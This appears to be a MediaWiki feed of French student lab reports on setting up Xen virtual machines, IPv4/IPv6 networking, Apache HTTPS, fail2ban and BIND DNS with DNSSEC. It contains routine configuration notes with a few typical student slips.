maxretry = 5&lt;br /&gt;
findtime = 300&lt;br /&gt;
bantime  = 600&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Après 5 tentative de ssh échouée, l'IP en question sera banni 10 minutes:&lt;br /&gt;
&lt;br /&gt;
=HTTPS=&lt;br /&gt;
==Installation d'Apache2==&lt;br /&gt;
Dans un premier temps, j'ai installé le serveur Apache en utilisant la commande suivante :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
aptitude install apache2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite, j'ai activé le module SSL pour permettre les connexions HTTPS :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
a2enmod ssl&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Activation du port HTTPS==&lt;br /&gt;
Dans le fichier `/etc/apache2/ports.conf`, j'ai ajouté la configuration nécessaire pour qu'Apache écoute sur le port 443, le port HTTPS :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@Gtr:~# cat /etc/apache2/ports.conf&lt;br /&gt;
# Port HTTP classique&lt;br /&gt;
Listen 80&lt;br /&gt;
&lt;br /&gt;
# Port HTTPS&lt;br /&gt;
&amp;lt;IfModule ssl_module&amp;gt;&lt;br /&gt;
    Listen 443&lt;br /&gt;
&amp;lt;/IfModule&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;IfModule mod_gnutls.c&amp;gt;&lt;br /&gt;
    Listen 443&lt;br /&gt;
&amp;lt;/IfModule&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Configuration du certificat SSL==&lt;br /&gt;
J'ai installé un certificat SSL, ainsi que la clé privée et le certificat intermédiaire fourni par Gandi pour créer une chaîne de confiance. Ces fichiers sont placés dans les répertoires appropriés sur le serveur :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
/etc/ssl/certs/rs7.online.crt : Certificat SSL&lt;br /&gt;
/etc/ssl/private/rs7.online.key : Clé privée&lt;br /&gt;
/etc/ssl/certs/GandiCert.pem : Certificat intermédiaire&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Configuration du domaine sécurisé==&lt;br /&gt;
J'ai créé un fichier de configuration spécifique pour mon domaine (rs7.online) dans le répertoire `/etc/apache2/sites-available/rs7.online.conf`. Ce fichier définit un `VirtualHost` pour le port 443 et redirige toute les requetes http sur le port 80 vers https :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@Gtr:~# cat /etc/apache2/sites-available/000-wahran.online-ssl.conf &lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
        ServerName wahran.online&lt;br /&gt;
        Redirect permanent / https://ns.wahran.online/  &lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
&lt;br /&gt;
        ServerName wahran.online&lt;br /&gt;
        ServerAlias wahran.online&lt;br /&gt;
        DocumentRoot /var/www/wahran.online/&lt;br /&gt;
        CustomLog /var/log/apache2/secure_access.log combined&lt;br /&gt;
&lt;br /&gt;
        SSLEngine on&lt;br /&gt;
        SSLCertificateFile /etc/ssl/certs/wahran.online.crt&lt;br /&gt;
        SSLCertificateKeyFile /etc/ssl/private/myserver.key&lt;br /&gt;
        SSLCertificateChainFile /etc/ssl/certs/GandiCert.pem&lt;br /&gt;
        SSLVerifyClient None&lt;br /&gt;
        SSLProxyEngine on&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
lorsque l'on se rend sur h, nous somme redirigé vers .&lt;br /&gt;
&lt;br /&gt;
==Configuration DNS avec DNSSEC==&lt;br /&gt;
Pour la gestion des DNS de mon domaine, j'ai configuré le fichier `/etc/bind/named.conf.local` pour ajouter la zone DNS de `wahran.online` avec une politique DNSSEC, ce qui renforce la sécurité de la gestion de mes enregistrements DNS :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@Gtr:~# cat /etc/bind/named.conf.local&lt;br /&gt;
//&lt;br /&gt;
// Do any local configuration here&lt;br /&gt;
//&lt;br /&gt;
&lt;br /&gt;
// Consider adding the 1918 zones here, if they are not used in your&lt;br /&gt;
// organization&lt;br /&gt;
//include &amp;quot;/etc/bind/zones.rfc1918&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;wahran.online&amp;quot; {&lt;br /&gt;
	type master;&lt;br /&gt;
	file &amp;quot;/etc/bind/wahran.online/wahran.zone&amp;quot;;&lt;br /&gt;
	allow-transfer{secondaries;}; // filtrage des secondaires&lt;br /&gt;
//	also-notify{hiddensecondaries;}; // pour les secondaires vicieux&lt;br /&gt;
	notify yes; // notification des secondaires&lt;br /&gt;
	key-directory &amp;quot;/etc/bind/keys&amp;quot;; //repertoire des keys&lt;br /&gt;
  	dnssec-policy &amp;quot;dnspol&amp;quot;; //utilisation d'une politique DNSSEC&lt;br /&gt;
  	inline-signing yes; //activation de la signature automatique&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
	192.168.0.3; // serveur secondaire&lt;br /&gt;
	2001:660:4401:60a0:216:3eff:fea0:ae02; //IPv6 Proxy&lt;br /&gt;
	2001:660:4401:60a0:216:3eff:fe81:abfe; //serveur secondaire IPV6&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
    keys {&lt;br /&gt;
        ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
        zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
    };&lt;br /&gt;
    nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
masters &amp;quot;hiddensecondaries&amp;quot;{&lt;br /&gt;
	2001:660:4401:60a0:216:3eff:fea0:ae02;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;alloco.online&amp;quot;{&lt;br /&gt;
	type slave;&lt;br /&gt;
	file &amp;quot;/etc/bind/backup/alloco.online&amp;quot;;&lt;br /&gt;
	masters{2001:660:4401:60a0:216:3eff:fe81:abfe;};&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Vérification du certificat SSL==&lt;br /&gt;
Enfin, j'ai effectué le rehash de la structure SSL pour m'assurer que tous les certificats étaient bien reconnus et prêts à être utilisés :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
c_rehash /etc/ssl/certs&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>Yyahiani</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Fichier:DNS.png&amp;diff=12107</id>
		<title>Fichier:DNS.png</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Fichier:DNS.png&amp;diff=12107"/>
		<updated>2026-02-07T17:42:56Z</updated>

		<summary type="html">&lt;p&gt;Yyahiani : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Propagation de rs7.online en IPv6&lt;/div&gt;</summary>
		<author><name>Yyahiani</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E8&amp;diff=12106</id>
		<title>Atelier SysRes SE4 2025/2026 E8</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E8&amp;diff=12106"/>
		<updated>2026-02-07T17:41:41Z</updated>

		<summary type="html">&lt;p&gt;Yyahiani : /* Création et configuration du fichier .zone */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Création du pont et des VM=&lt;br /&gt;
&lt;br /&gt;
== Création du pont: ==&lt;br /&gt;
Dans capbreton, dans &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; on renseigne notre pont &amp;lt;code&amp;gt;pontclio&amp;lt;/code&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
auto pontclio&lt;br /&gt;
iface pontclio inet manual&lt;br /&gt;
  bridge_ports none&lt;br /&gt;
  up ip link set $IFACE up&lt;br /&gt;
  down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Partitions==&lt;br /&gt;
Nous commençons par nous mettre en ssh sur capbreton et à rentrer cet commande pour créer nos machines virtuelles (2 VM services + 1 VM mandataire) :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen-create-image --hostname=SE4.RS7 --dhcp --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2G --bridge=pontclio&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite nous assignons les partitions dans le fichier /etc/xen/SE4.RS7.cfg:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
phy:/dev/virtual/SE4.RS7-home,xvdb1,w,&lt;br /&gt;
phy:/dev/virtual/SE4.RS7-var,xvda3,w,&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour démarrer notre VM nous exécutons la commande suivante: &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen create SE4.RS7.cfg &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite nous pouvons vérifier si la VM est démarrée avec:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen list&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Par la suite nous nous connectons à la VM de cette manière:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen console SE4.RS7&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite créer les partitions &amp;lt;code&amp;gt;var&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;home&amp;lt;/code&amp;gt;:&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
lvcreate -L10G -nSE4.RS7.home virtual&lt;br /&gt;
lvcreate -L10G -nSE4.RS7.var virtual&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous devons maintenant implémenter /var et /home dans nos partitions LVM, on se place donc dans le fichier /etc/fstab pour y ajouter nos disk:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
/dev/xvda3 /var ext4 defaults 0 2&lt;br /&gt;
/dev/xvdb1 /home ext4 defaults 0 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et nous formatons ces disk avec ces deux commandes:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvda3&lt;br /&gt;
mkfs -t ext4 /dev/xvdb1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Il faut maintenant Mount les fichiers à implémenter le /var, or j'ai Mount le xvdb1 par mégarde comme énoncé ci-dessus:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mount /dev/xvdb1 /mnt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On copie les données et on démonte le fichier copié:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
unmount /mnt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant observer les changement:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mount -a&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=IP=&lt;br /&gt;
Nous voulons maintenant assigner des adresse IPv4 et IPv6 à nos VM, chaque VM de service aura une IP privée, la VM mandataire aura une IP privée + une IP routée, pour cela nous modifions le fichier /etc/network/interfaces de nos VM, il ne faut pas oublier de modifier le fichier .cfg pour rajouter nos machines sur le commutateur SE4 (commutateur de la promo) en prenant la même adresse MAC et faire +1:&lt;br /&gt;
&lt;br /&gt;
==VM de service==&lt;br /&gt;
&lt;br /&gt;
Pour configurer le réseau, nous modifions le fichier /etc/network/interfaces afin d’attribuer une adresse IPv4 et une adresse IPv6.&lt;br /&gt;
&lt;br /&gt;
Tout d'abord nous devons mettre nos machines sur le commutateur de la promo en modifiant le fichier .cfg:&lt;br /&gt;
&lt;br /&gt;
L’adresse IPv6 ne pose aucun problème : il suffit d’ajouter la ligne suivante :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
iface eth0 inet6 auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Concernant l’adresse IPv4, nous avons choisi une adresse privée pour l’utilisation de notre binôme : 192.168.0.0/24.&lt;br /&gt;
&lt;br /&gt;
De plus, la machine mandataire joue le rôle de passerelle (gateway) pour les deux machines de services. Nous lui avons attribué l’adresse IPv4 192.168.0.1.&lt;br /&gt;
&lt;br /&gt;
Nous complétons donc le fichier avec une adresse statique :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.7.2 &lt;br /&gt;
    netmask 255.255.255.0&lt;br /&gt;
    gateway 192.168.7.1 &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==VM mandataire==&lt;br /&gt;
&lt;br /&gt;
Ensuite, il est nécessaire d’attribuer une seconde adresse IPv4 sur eth1. Toutefois, cette interface n’existe pas par défaut sur les machines virtuelles (VM). Il faut donc la créer en modifiant le fichier .cfg de la machine sur Capbreton.&lt;br /&gt;
&lt;br /&gt;
Dans la section Networking, on trouve une ligne vif à modifier. Nous l’ajustons pour ajouter une interface eth1 sur le bridge SE4, tout en conservant eth0.&lt;br /&gt;
&lt;br /&gt;
Après avoir redémarré la machine, l’interface eth1 sera disponible. Nous pouvons alors mettre à jour le fichier /etc/network/interfaces :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
# The loopback network interface&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
# Primary interface&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.7.1/24&lt;br /&gt;
&lt;br /&gt;
# Second interface&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
    address 193.48.57.170/27&lt;br /&gt;
    gateway 193.48.57.164&lt;br /&gt;
&lt;br /&gt;
iface eth1 inet6 auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Tests ==&lt;br /&gt;
&lt;br /&gt;
Après avoir mis UP toute les interfaces de nos VM nous obtenons bien nos adresse IPv4 et IPv6.&lt;br /&gt;
&lt;br /&gt;
Voici l'état des interfaces de la machine de service RS7 :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@rs7:~# ip a&lt;br /&gt;
1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000&lt;br /&gt;
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00&lt;br /&gt;
    inet 127.0.0.1/8 scope host lo&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 ::1/128 scope host &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
2: eth0: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc fq_codel state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:d3:d6:92 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet 192.168.7.2/24 brd 192.168.7.255 scope global eth0&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 fe80::216:3eff:fed3:d692/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
3: eth1: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc fq_codel state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:d3:d6:93 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet6 2001:660:4401:60a0:216:3eff:fed3:d693/64 scope global dynamic mngtmpaddr &lt;br /&gt;
       valid_lft 942sec preferred_lft 842sec&lt;br /&gt;
    inet6 fe80::216:3eff:fed3:d693/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et voici l'état des interface de la machines mandataire Garage :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@Garage:~# ip a&lt;br /&gt;
1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000&lt;br /&gt;
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00&lt;br /&gt;
    inet 127.0.0.1/8 scope host lo&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 ::1/128 scope host &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
2: eth0: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc fq_codel state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:e4:9c:07 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet 192.168.7.1/24 brd 192.168.7.255 scope global eth0&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 fe80::216:3eff:fee4:9c07/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
3: eth1: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc fq_codel state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:e4:9c:08 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet 193.48.57.170/27 brd 193.48.57.191 scope global eth1&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 2001:660:4401:60a0:216:3eff:fee4:9c08/64 scope global dynamic mngtmpaddr &lt;br /&gt;
       valid_lft 893sec preferred_lft 793sec&lt;br /&gt;
    inet6 fe80::216:3eff:fee4:9c08/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Test de la LAN ===&lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant ping entre nos VM, voici un ping de RS7 vers C2:&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ping C2.png|vignette|center|800px]]&lt;br /&gt;
&lt;br /&gt;
Et voici un ping de RS7 vers Garages&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ping Garage.png|vignette|center|800px]]&lt;br /&gt;
&lt;br /&gt;
=== Test vers l'extérieur ===&lt;br /&gt;
&lt;br /&gt;
Nous vérifions maintenant si ma machines de service RS7 à bien accès à internet en IPv4 (via la VM mandataire) et en IPv6.&lt;br /&gt;
&lt;br /&gt;
Voici un ping de RS7 vers l'extérieur en IPv4:&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ping ipv4.png|vignette|center|800px]]&lt;br /&gt;
&lt;br /&gt;
Et voici un ping de RS7 vers l'extérieur en IPv6:&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ping ipv6|vignette|center|800px]]&lt;br /&gt;
&lt;br /&gt;
=SSH=&lt;br /&gt;
&lt;br /&gt;
Nous avons configuré l’accès SSH à notre machine virtuelle Xen de services en autorisant la connexion de l’utilisateur root via le fichier /etc/ssh/sshd_config en activant l’option PermitRootLogin. Pour permettre l’accès via IPv4, nous avons mis en place une redirection de ports en utilisant iptables/nftables, en assignant le port 2203 à notre machine de services. De plus, nous avons installé les services essentiels, à savoir SSH, Apache2 pour l’hébergement web, ainsi que BIND pour la gestion des services DNS sur nos machines virtuelles.&lt;br /&gt;
&lt;br /&gt;
=DNS=&lt;br /&gt;
==Configuration du résolveur==&lt;br /&gt;
Nous avons configuré le serveur DNS de notre machine de services en modifiant le fichier resolv.conf pour y ajouter notre propre serveur DNS. Cela permet à la machine d’utiliser le bon résolveur pour la résolution des noms de domaine:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
search plil.info&lt;br /&gt;
nameserver 172.26.188.12&lt;br /&gt;
nameserver 193.48.57.48&lt;br /&gt;
&lt;br /&gt;
search rs7.online&lt;br /&gt;
nameserver 192.168.7.2&lt;br /&gt;
nameserver 192.168.7.3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Configuration des zones==&lt;br /&gt;
Ensuite, nous avons modifié le fichier named.conf.local du package BIND9 afin de déclarer une zone principale pour rs7.online et une zone secondaire pour c2vts.fr.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
zone &amp;quot;rs7.zone&amp;quot; {&lt;br /&gt;
    type primary;&lt;br /&gt;
    file &amp;quot;/etc/bind/zones/rs7.zone.signed&amp;quot;;&lt;br /&gt;
    allow-transfer { secondaries; };&lt;br /&gt;
    also-notify { 2001:660:4401:60a0:216:3eff:fee4:9c08; };&lt;br /&gt;
    key-directory &amp;quot;/etc/bind/rs7.dnssec&amp;quot;;&lt;br /&gt;
    dnssec-policy &amp;quot;dnspol&amp;quot;;&lt;br /&gt;
    inline-signing yes;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
    keys {&lt;br /&gt;
        ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
        zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
    };&lt;br /&gt;
    nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
    2001:660:4401:60a0:216:3eff:fed3:58ae;&lt;br /&gt;
    2001:660:4401:60a0:216:3eff:fee4:9c08;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;c2vts.fr&amp;quot; {&lt;br /&gt;
    type secondary;&lt;br /&gt;
    file &amp;quot;/etc/bind/backup/c2vts.fr.zone&amp;quot;;&lt;br /&gt;
    primaries { 2001:660:4401:60a0:216:3eff:fed3:58ae; };&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Création et configuration du fichier .zone==&lt;br /&gt;
Nous avons ensuite créé et configuré le fichier rs7.zone.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
$TTL 200&lt;br /&gt;
@       IN      SOA     ns.rs7.online. admin.rs7.online. (&lt;br /&gt;
        4004    ; Version&lt;br /&gt;
        21600   ; Refresh secondary    (6h)&lt;br /&gt;
        3600    ; Retry secondary      (1h)&lt;br /&gt;
        2592000 ; Expire if no refresh (30j)&lt;br /&gt;
        86400 ) ; Negative cache       (24h)&lt;br /&gt;
&lt;br /&gt;
; Serveurs de noms&lt;br /&gt;
@        IN      NS      ns.rs7.online.&lt;br /&gt;
@        IN      NS      ns.c2vts.fr.&lt;br /&gt;
&lt;br /&gt;
;Enregistrements A &lt;br /&gt;
@        IN     A     193.48.57.170&lt;br /&gt;
ns       IN     A     193.48.57.170 &lt;br /&gt;
&lt;br /&gt;
;Enregistrements AAAA&lt;br /&gt;
@        IN     AAAA  2001:660:4401:60a0:216:3eff:fed3:d693&lt;br /&gt;
ns       IN     AAAA  2001:660:4401:60a0:216:3eff:fed3:d693&lt;br /&gt;
&lt;br /&gt;
;Enregistrements CNAME&lt;br /&gt;
www      IN     CNAME rs7.online.&lt;br /&gt;
&lt;br /&gt;
$include &amp;quot;/etc/bind/rs7.dnssec/rs7.online-ksk.key&amp;quot;&lt;br /&gt;
$include &amp;quot;/etc/bind/rs7.dnssec/rs7.online-zsk.key&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On charge la version du fichier de zone avec la commande suivante :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@Gtr:/etc/bind/zones/rs7.online# named-checkzone rs7.zone&lt;br /&gt;
zone rs7.zone/IN: loaded serial 4004&lt;br /&gt;
OK&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Vérifications==&lt;br /&gt;
Enfin, nous avons vérifié la syntaxe et chargé ces fichiers de zone en utilisant la commande suivante dans le répertoire concerné :&lt;br /&gt;
&lt;br /&gt;
named-checkzone &amp;lt;nom du fichier&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ces configurations nous permettent d’assurer une résolution correcte des noms de domaine et de gérer efficacement notre infrastructure DNS.&lt;br /&gt;
&lt;br /&gt;
Après avoir effectué ces modifications, nous pouvons vérifier si notre DNS s’est correctement propagé sur le site DNSchecker. Comme le montre cet capture d'écran, la propagation est bien effective dans la zone de Lille avec une adresse IPv6 :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:DNS_Lille.png|vignette|center|800px]]&lt;br /&gt;
&lt;br /&gt;
=DNSSEC=&lt;br /&gt;
&lt;br /&gt;
==Configuration de la méthode automatique==&lt;br /&gt;
Pour sécuriser notre DNS, nous modifions notre fichier named.conf.local pour utiliser la méthode automatique:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
//&lt;br /&gt;
// Do any local configuration here&lt;br /&gt;
//&lt;br /&gt;
&lt;br /&gt;
// Consider adding the 1918 zones here, if they are not used in your&lt;br /&gt;
// organization&lt;br /&gt;
//include &amp;quot;/etc/bind/zones.rfc1918&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;wahran.online&amp;quot; {&lt;br /&gt;
	type master;&lt;br /&gt;
	file &amp;quot;/etc/bind/wahran.online/wahran.zone&amp;quot;;&lt;br /&gt;
	allow-transfer{secondaries;}; // filtrage des secondaires&lt;br /&gt;
//	also-notify{hiddensecondaries;}; // pour les secondaires vicieux&lt;br /&gt;
	notify yes; // notification des secondaires&lt;br /&gt;
	key-directory &amp;quot;/etc/bind/keys&amp;quot;; //repertoire des keys&lt;br /&gt;
  	dnssec-policy &amp;quot;dnspol&amp;quot;; //utilisation d'une politique DNSSEC&lt;br /&gt;
  	inline-signing yes; //activation de la signature automatique&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
	192.168.0.3; // serveur secondaire&lt;br /&gt;
	2001:660:4401:60a0:216:3eff:fe81:abfe; //serveur secondaire IPV6&lt;br /&gt;
};&lt;br /&gt;
